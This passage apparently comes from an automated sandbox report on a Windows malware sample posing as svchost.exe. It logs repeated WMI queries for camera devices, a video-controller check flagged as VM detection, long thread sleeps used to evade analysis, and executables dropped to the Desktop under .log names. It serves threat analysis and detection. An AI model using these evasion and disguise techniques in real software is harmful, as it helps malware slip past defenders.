                              Source: C:\comref\svchost.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = &apos;Image&apos; OR PNPClass = &apos;Camera&apos;)
                              Source: C:\comref\svchost.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = &apos;Image&apos; OR PNPClass = &apos;Camera&apos;)
                              Source: C:\comref\svchost.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = &apos;Image&apos; OR PNPClass = &apos;Camera&apos;)
                              Source: C:\comref\svchost.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = &apos;Image&apos; OR PNPClass = &apos;Camera&apos;)
                              Source: C:\comref\svchost.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = &apos;Image&apos; OR PNPClass = &apos;Camera&apos;)
                              Source: C:\comref\svchost.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = &apos;Image&apos; OR PNPClass = &apos;Camera&apos;)
                              Source: C:\comref\svchost.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = &apos;Image&apos; OR PNPClass = &apos;Camera&apos;)
                              Source: C:\comref\svchost.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = &apos;Image&apos; OR PNPClass = &apos;Camera&apos;)
                              Source: C:\comref\svchost.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = &apos;Image&apos; OR PNPClass = &apos;Camera&apos;)
                              Source: C:\comref\svchost.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = &apos;Image&apos; OR PNPClass = &apos;Camera&apos;)
                              Source: C:\comref\svchost.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = &apos;Image&apos; OR PNPClass = &apos;Camera&apos;)
                              Source: C:\comref\svchost.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = &apos;Image&apos; OR PNPClass = &apos;Camera&apos;)
                              Source: C:\comref\svchost.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = &apos;Image&apos; OR PNPClass = &apos;Camera&apos;)
                              Source: C:\comref\svchost.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = &apos;Image&apos; OR PNPClass = &apos;Camera&apos;)
                              Source: C:\comref\svchost.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = &apos;Image&apos; OR PNPClass = &apos;Camera&apos;)
                              Source: C:\comref\svchost.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = &apos;Image&apos; OR PNPClass = &apos;Camera&apos;)
                              Source: C:\comref\svchost.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = &apos;Image&apos; OR PNPClass = &apos;Camera&apos;)
                              Source: C:\comref\svchost.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = &apos;Image&apos; OR PNPClass = &apos;Camera&apos;)
                              Source: C:\comref\svchost.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = &apos;Image&apos; OR PNPClass = &apos;Camera&apos;)
                              Source: C:\comref\svchost.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = &apos;Image&apos; OR PNPClass = &apos;Camera&apos;)
                              Source: C:\comref\svchost.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = &apos;Image&apos; OR PNPClass = &apos;Camera&apos;)
                              Source: C:\comref\svchost.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = &apos;Image&apos; OR PNPClass = &apos;Camera&apos;)
                              Source: C:\comref\svchost.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = &apos;Image&apos; OR PNPClass = &apos;Camera&apos;)
                              Source: C:\comref\svchost.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = &apos;Image&apos; OR PNPClass = &apos;Camera&apos;)
                              Source: C:\comref\svchost.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = &apos;Image&apos; OR PNPClass = &apos;Camera&apos;)
                              Source: C:\comref\svchost.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = &apos;Image&apos; OR PNPClass = &apos;Camera&apos;)
                              Source: C:\comref\svchost.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = &apos;Image&apos; OR PNPClass = &apos;Camera&apos;)
                              Source: C:\comref\svchost.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = &apos;Image&apos; OR PNPClass = &apos;Camera&apos;)
                              Source: C:\comref\svchost.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = &apos;Image&apos; OR PNPClass = &apos;Camera&apos;)
                              Source: C:\comref\svchost.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = &apos;Image&apos; OR PNPClass = &apos;Camera&apos;)
                              Source: C:\comref\svchost.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = &apos;Image&apos; OR PNPClass = &apos;Camera&apos;)
                              Source: C:\comref\svchost.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = &apos;Image&apos; OR PNPClass = &apos;Camera&apos;)
                              Source: C:\comref\svchost.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = &apos;Image&apos; OR PNPClass = &apos;Camera&apos;)
                              Source: C:\comref\svchost.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = &apos;Image&apos; OR PNPClass = &apos;Camera&apos;)
                              Source: C:\comref\svchost.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = &apos;Image&apos; OR PNPClass = &apos;Camera&apos;)
                              Source: C:\comref\svchost.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = &apos;Image&apos; OR PNPClass = &apos;Camera&apos;)
                              Source: C:\comref\svchost.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = &apos;Image&apos; OR PNPClass = &apos;Camera&apos;)
                              Source: C:\comref\svchost.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = &apos;Image&apos; OR PNPClass = &apos;Camera&apos;)
                              Source: C:\comref\svchost.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = &apos;Image&apos; OR PNPClass = &apos;Camera&apos;)
                              Source: C:\comref\svchost.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = &apos;Image&apos; OR PNPClass = &apos;Camera&apos;)
                              Source: C:\comref\svchost.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = &apos;Image&apos; OR PNPClass = &apos;Camera&apos;)
                              Source: C:\comref\svchost.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = &apos;Image&apos; OR PNPClass = &apos;Camera&apos;)
                              Source: C:\comref\svchost.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = &apos;Image&apos; OR PNPClass = &apos;Camera&apos;)
                              Source: C:\comref\svchost.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = &apos;Image&apos; OR PNPClass = &apos;Camera&apos;)
                              Source: C:\comref\svchost.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = &apos;Image&apos; OR PNPClass = &apos;Camera&apos;)
                              Source: C:\comref\svchost.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = &apos;Image&apos; OR PNPClass = &apos;Camera&apos;)
                              Source: C:\comref\svchost.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = &apos;Image&apos; OR PNPClass = &apos;Camera&apos;)
                              Source: C:\comref\svchost.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = &apos;Image&apos; OR PNPClass = &apos;Camera&apos;)
                              Source: C:\comref\svchost.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = &apos;Image&apos; OR PNPClass = &apos;Camera&apos;)
                              Source: C:\comref\svchost.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = &apos;Image&apos; OR PNPClass = &apos;Camera&apos;)
                              Source: C:\comref\svchost.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = &apos;Image&apos; OR PNPClass = &apos;Camera&apos;)
                              Source: C:\comref\svchost.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = &apos;Image&apos; OR PNPClass = &apos;Camera&apos;)
                              Source: C:\comref\svchost.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = &apos;Image&apos; OR PNPClass = &apos;Camera&apos;)
                              Source: C:\comref\svchost.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = &apos;Image&apos; OR PNPClass = &apos;Camera&apos;)
                              Source: C:\comref\svchost.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = &apos;Image&apos; OR PNPClass = &apos;Camera&apos;)
                              Source: C:\comref\svchost.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = &apos;Image&apos; OR PNPClass = &apos;Camera&apos;)
                              Source: C:\comref\svchost.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = &apos;Image&apos; OR PNPClass = &apos;Camera&apos;)
                              Source: C:\comref\svchost.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = &apos;Image&apos; OR PNPClass = &apos;Camera&apos;)
                              Source: C:\comref\svchost.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = &apos;Image&apos; OR PNPClass = &apos;Camera&apos;)
                              Source: C:\comref\svchost.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = &apos;Image&apos; OR PNPClass = &apos;Camera&apos;)
                              Source: C:\comref\svchost.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = &apos;Image&apos; OR PNPClass = &apos;Camera&apos;)
                              Source: C:\comref\svchost.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = &apos;Image&apos; OR PNPClass = &apos;Camera&apos;)
                              Source: C:\comref\svchost.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = &apos;Image&apos; OR PNPClass = &apos;Camera&apos;)
                              Source: C:\comref\svchost.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = &apos;Image&apos; OR PNPClass = &apos;Camera&apos;)
                              Source: C:\comref\svchost.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = &apos;Image&apos; OR PNPClass = &apos;Camera&apos;)
                              Source: C:\comref\svchost.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = &apos;Image&apos; OR PNPClass = &apos;Camera&apos;)
                              Source: C:\comref\svchost.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = &apos;Image&apos; OR PNPClass = &apos;Camera&apos;)
                              Source: C:\comref\svchost.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = &apos;Image&apos; OR PNPClass = &apos;Camera&apos;)
                              Source: C:\comref\svchost.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = &apos;Image&apos; OR PNPClass = &apos;Camera&apos;)
                              Source: C:\comref\svchost.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = &apos;Image&apos; OR PNPClass = &apos;Camera&apos;)
                              Source: C:\comref\svchost.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = &apos;Image&apos; OR PNPClass = &apos;Camera&apos;)
                              Source: C:\comref\svchost.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = &apos;Image&apos; OR PNPClass = &apos;Camera&apos;)
                              Source: C:\comref\svchost.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = &apos;Image&apos; OR PNPClass = &apos;Camera&apos;)
                              Source: C:\comref\svchost.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = &apos;Image&apos; OR PNPClass = &apos;Camera&apos;)
                              Source: C:\comref\svchost.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = &apos;Image&apos; OR PNPClass = &apos;Camera&apos;)
                              Source: C:\comref\svchost.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = &apos;Image&apos; OR PNPClass = &apos;Camera&apos;)
                              Source: C:\comref\svchost.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = &apos;Image&apos; OR PNPClass = &apos;Camera&apos;)
                              Source: C:\comref\svchost.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = &apos;Image&apos; OR PNPClass = &apos;Camera&apos;)
                              Source: C:\comref\svchost.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = &apos;Image&apos; OR PNPClass = &apos;Camera&apos;)
                              Source: C:\comref\svchost.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = &apos;Image&apos; OR PNPClass = &apos;Camera&apos;)
                              Source: C:\comref\svchost.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = &apos;Image&apos; OR PNPClass = &apos;Camera&apos;)
                              Source: C:\comref\svchost.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = &apos;Image&apos; OR PNPClass = &apos;Camera&apos;)
                              Source: C:\comref\svchost.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = &apos;Image&apos; OR PNPClass = &apos;Camera&apos;)
                              Source: C:\comref\svchost.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = &apos;Image&apos; OR PNPClass = &apos;Camera&apos;)
                              Source: C:\comref\svchost.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = &apos;Image&apos; OR PNPClass = &apos;Camera&apos;)
                              Source: C:\comref\svchost.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = &apos;Image&apos; OR PNPClass = &apos;Camera&apos;)
                              Source: C:\comref\svchost.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = &apos;Image&apos; OR PNPClass = &apos;Camera&apos;)
                              Source: C:\comref\svchost.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = &apos;Image&apos; OR PNPClass = &apos;Camera&apos;)
                              Source: C:\comref\svchost.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = &apos;Image&apos; OR PNPClass = &apos;Camera&apos;)
                              Source: C:\comref\svchost.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = &apos;Image&apos; OR PNPClass = &apos;Camera&apos;)
                              Source: C:\comref\svchost.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = &apos;Image&apos; OR PNPClass = &apos;Camera&apos;)
                              Source: C:\comref\svchost.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = &apos;Image&apos; OR PNPClass = &apos;Camera&apos;)
                              Source: C:\comref\svchost.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = &apos;Image&apos; OR PNPClass = &apos;Camera&apos;)
                              Queries sensitive video device information (via WMI, Win32_VideoController, often done to detect virtual machines)
                              Source: C:\comref\svchost.exeWMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_VideoController
                              Source: C:\comref\svchost.exeMemory allocated: D20000 memory reserve | memory write watchJump to behavior
                              Source: C:\comref\svchost.exeMemory allocated: 1A8A0000 memory reserve | memory write watchJump to behavior
                              Source: C:\comref\svchost.exeThread delayed: delay time: 922337203685477Jump to behavior
                              Source: C:\comref\svchost.exeThread delayed: delay time: 600000Jump to behavior
                              Source: C:\comref\svchost.exeThread delayed: delay time: 599875Jump to behavior
                              Source: C:\comref\svchost.exeThread delayed: delay time: 599750Jump to behavior
                              Source: C:\comref\svchost.exeThread delayed: delay time: 599469Jump to behavior
                              Source: C:\comref\svchost.exeThread delayed: delay time: 3600000Jump to behavior
                              Source: C:\comref\svchost.exeThread delayed: delay time: 598561Jump to behavior
                              Source: C:\comref\svchost.exeThread delayed: delay time: 597891Jump to behavior
                              Source: C:\comref\svchost.exeThread delayed: delay time: 597594Jump to behavior
                              Source: C:\comref\svchost.exeThread delayed: delay time: 597401Jump to behavior
                              Source: C:\comref\svchost.exeThread delayed: delay time: 597250Jump to behavior
                              Source: C:\comref\svchost.exeThread delayed: delay time: 597016Jump to behavior
                              Source: C:\comref\svchost.exeThread delayed: delay time: 596703Jump to behavior
                              Source: C:\comref\svchost.exeThread delayed: delay time: 596375Jump to behavior
                              Source: C:\comref\svchost.exeThread delayed: delay time: 596188Jump to behavior
                              Source: C:\comref\svchost.exeThread delayed: delay time: 595938Jump to behavior
                              Source: C:\comref\svchost.exeThread delayed: delay time: 595641Jump to behavior
                              Source: C:\comref\svchost.exeThread delayed: delay time: 595438Jump to behavior
                              Source: C:\comref\svchost.exeThread delayed: delay time: 595078Jump to behavior
                              Source: C:\comref\svchost.exeThread delayed: delay time: 594703Jump to behavior
                              Source: C:\comref\svchost.exeThread delayed: delay time: 594266Jump to behavior
                              Source: C:\comref\svchost.exeThread delayed: delay time: 593953Jump to behavior
                              Source: C:\comref\svchost.exeThread delayed: delay time: 593625Jump to behavior
                              Source: C:\comref\svchost.exeThread delayed: delay time: 593359Jump to behavior
                              Source: C:\comref\svchost.exeThread delayed: delay time: 592766Jump to behavior
                              Source: C:\comref\svchost.exeThread delayed: delay time: 592469Jump to behavior
                              Source: C:\comref\svchost.exeThread delayed: delay time: 591984Jump to behavior
                              Source: C:\comref\svchost.exeThread delayed: delay time: 591625Jump to behavior
                              Source: C:\comref\svchost.exeThread delayed: delay time: 591125Jump to behavior
                              Source: C:\comref\svchost.exeThread delayed: delay time: 590837Jump to behavior
                              Source: C:\comref\svchost.exeThread delayed: delay time: 590500Jump to behavior
                              Source: C:\comref\svchost.exeThread delayed: delay time: 589375Jump to behavior
                              Source: C:\comref\svchost.exeThread delayed: delay time: 588969Jump to behavior
                              Source: C:\comref\svchost.exeThread delayed: delay time: 588641Jump to behavior
                              Source: C:\comref\svchost.exeThread delayed: delay time: 588219Jump to behavior
                              Source: C:\comref\svchost.exeThread delayed: delay time: 587984Jump to behavior
                              Source: C:\comref\svchost.exeThread delayed: delay time: 587766Jump to behavior
                              Source: C:\comref\svchost.exeThread delayed: delay time: 587016Jump to behavior
                              Source: C:\comref\svchost.exeThread delayed: delay time: 586625Jump to behavior
                              Source: C:\comref\svchost.exeThread delayed: delay time: 586141Jump to behavior
                              Source: C:\comref\svchost.exeThread delayed: delay time: 585560Jump to behavior
                              Source: C:\comref\svchost.exeThread delayed: delay time: 584531Jump to behavior
                              Source: C:\comref\svchost.exeThread delayed: delay time: 584045Jump to behavior
                              Source: C:\comref\svchost.exeThread delayed: delay time: 583672Jump to behavior
                              Source: C:\comref\svchost.exeThread delayed: delay time: 583141Jump to behavior
                              Source: C:\comref\svchost.exeThread delayed: delay time: 582922Jump to behavior
                              Source: C:\comref\svchost.exeThread delayed: delay time: 582438Jump to behavior
                              Source: C:\comref\svchost.exeThread delayed: delay time: 581906Jump to behavior
                              Source: C:\comref\svchost.exeThread delayed: delay time: 581563Jump to behavior
                              Source: C:\comref\svchost.exeThread delayed: delay time: 581297Jump to behavior
                              Source: C:\comref\svchost.exeThread delayed: delay time: 580813Jump to behavior
                              Source: C:\comref\svchost.exeThread delayed: delay time: 580438Jump to behavior
                              Source: C:\comref\svchost.exeThread delayed: delay time: 579844Jump to behavior
                              Source: C:\comref\svchost.exeThread delayed: delay time: 579453Jump to behavior
                              Source: C:\comref\svchost.exeThread delayed: delay time: 579078Jump to behavior
                              Source: C:\comref\svchost.exeThread delayed: delay time: 578813Jump to behavior
                              Source: C:\comref\svchost.exeThread delayed: delay time: 578266Jump to behavior
                              Source: C:\comref\svchost.exeThread delayed: delay time: 578110Jump to behavior
                              Source: C:\comref\svchost.exeThread delayed: delay time: 577995Jump to behavior
                              Source: C:\comref\svchost.exeThread delayed: delay time: 577886Jump to behavior
                              Source: C:\comref\svchost.exeThread delayed: delay time: 577767Jump to behavior
                              Source: C:\comref\svchost.exeThread delayed: delay time: 577641Jump to behavior
                              Source: C:\comref\svchost.exeThread delayed: delay time: 577525Jump to behavior
                              Source: C:\comref\svchost.exeThread delayed: delay time: 577421Jump to behavior
                              Source: C:\comref\svchost.exeThread delayed: delay time: 577310Jump to behavior
                              Source: C:\comref\svchost.exeThread delayed: delay time: 577203Jump to behavior
                              Source: C:\comref\svchost.exeThread delayed: delay time: 577093Jump to behavior
                              Source: C:\comref\svchost.exeThread delayed: delay time: 576984Jump to behavior
                              Source: C:\Windows\SysWOW64\wscript.exeWindow found: window name: WSH-TimerJump to behavior
                              Source: C:\comref\svchost.exeWindow / User API: threadDelayed 7901Jump to behavior
                              Source: C:\comref\svchost.exeWindow / User API: threadDelayed 1484Jump to behavior
                              Source: C:\comref\svchost.exeDropped PE file which has not been started: C:\Users\user\Desktop\LMrHnriI.logJump to dropped file
                              Source: C:\comref\svchost.exeDropped PE file which has not been started: C:\Users\user\Desktop\ThQetCXk.logJump to dropped file
                              Source: C:\comref\svchost.exeDropped PE file which has not been started: C:\Users\user\Desktop\ApTjSBhc.logJump to dropped file
                              Source: C:\comref\svchost.exeDropped PE file which has not been started: C:\Users\user\Desktop\eVuUdNSS.logJump to dropped file
                              Source: C:\comref\svchost.exeDropped PE file which has not been started: C:\Users\user\Desktop\jIMTFKhG.logJump to dropped file
                              Source: C:\Users\user\Desktop\ugRGgCJhQl.exeEvasive API call chain: GetLocalTime,DecisionNodesgraph_0-23713
                              Source: C:\comref\svchost.exe TID: 1204Thread sleep time: -30000s >= -30000sJump to behavior
                              Source: C:\comref\svchost.exe TID: 1456Thread sleep time: -4611686018427385s >= -30000sJump to behavior
                              Source: C:\comref\svchost.exe TID: 1456Thread sleep time: -600000s >= -30000sJump to behavior
                              Source: C:\comref\svchost.exe TID: 1456Thread sleep time: -599875s >= -30000sJump to behavior
                              Source: C:\comref\svchost.exe TID: 1456Thread sleep time: -599750s >= -30000sJump to behavior
                              Source: C:\comref\svchost.exe TID: 1456Thread sleep time: -599469s >= -30000sJump to behavior
                              Source: C:\comref\svchost.exe TID: 3840Thread sleep time: -32400000s >= -30000sJump to behavior
                              Source: C:\comref\svchost.exe TID: 1456Thread sleep time: -598561s >= -30000sJump to behavior
                              Source: C:\comref\svchost.exe TID: 1456Thread sleep time: -597891s >= -30000sJump to behavior
                              Source: C:\comref\svchost.exe TID: 1456Thread sleep time: -597594s >= -30000sJump to behavior
                              Source: C:\comref\svchost.exe TID: 1456Thread sleep time: -597401s >= -30000sJump to behavior
                              Source: C:\comref\svchost.exe TID: 1456Thread sleep time: -597250s >= -30000sJump to behavior
                              Source: C:\comref\svchost.exe TID: 1456Thread sleep time: -597016s >= -30000sJump to behavior
                              Source: C:\comref\svchost.exe TID: 1456Thread sleep time: -596703s >= -30000sJump to behavior
                              Source: C:\comref\svchost.exe TID: 1456Thread sleep time: -596375s >= -30000sJump to behavior
                              Source: C:\comref\svchost.exe TID: 1456Thread sleep time: -596188s >= -30000sJump to behavior
                              Source: C:\comref\svchost.exe TID: 1456Thread sleep time: -595938s >= -30000sJump to behavior
                              Source: C:\comref\svchost.exe TID: 1456Thread sleep time: -595641s >= -30000sJump to behavior
                              Source: C:\comref\svchost.exe TID: 1456Thread sleep time: -595438s >= -30000sJump to behavior
                              Source: C:\comref\svchost.exe TID: 1456Thread sleep time: -595078s >= -30000sJump to behavior
                              Source: C:\comref\svchost.exe TID: 1456Thread sleep time: -594703s >= -30000sJump to behavior
                              Source: C:\comref\svchost.exe TID: 1456Thread sleep time: -594266s >= -30000sJump to behavior
                              Source: C:\comref\svchost.exe TID: 1456Thread sleep time: -593953s >= -30000sJump to behavior
                              Source: C:\comref\svchost.exe TID: 1456Thread sleep time: -593625s >= -30000sJump to behavior
                              Source: C:\comref\svchost.exe TID: 1456Thread sleep time: -593359s >= -30000sJump to behavior
                              Source: C:\comref\svchost.exe TID: 1456Thread sleep time: -592766s >= -30000sJump to behavior
                              Source: C:\comref\svchost.exe TID: 1456Thread sleep time: -592469s >= -30000sJump to behavior
                              Source: C:\comref\svchost.exe TID: 1456Thread sleep time: -591984s >= -30000sJump to behavior
                              Source: C:\comref\svchost.exe TID: 1456Thread sleep time: -591625s >= -30000sJump to behavior
                              Source: C:\comref\svchost.exe TID: 1456Thread sleep time: -591125s >= -30000sJump to behavior
                              Source: C:\comref\svchost.exe TID: 1456Thread sleep time: -590837s >= -30000sJump to behavior
                              Source: C:\comref\svchost.exe TID: 1456Thread sleep time: -590500s >= -30000sJump to behavior
                              Source: C:\comref\svchost.exe TID: 1456Thread sleep time: -589375s >= -30000sJump to behavior
                              Source: C:\comref\svchost.exe TID: 1456Thread sleep time: -588969s >= -30000sJump to behavior
                              Source: C:\comref\svchost.exe TID: 1456Thread sleep time: -588641s >= -30000sJump to behavior
                              Source: C:\comref\svchost.exe TID: 1456Thread sleep time: -588219s >= -30000sJump to behavior
                              Source: C:\comref\svchost.exe TID: 1456Thread sleep time: -587984s >= -30000sJump to behavior
                              Source: C:\comref\svchost.exe TID: 1456Thread sleep time: -587766s >= -30000sJump to behavior
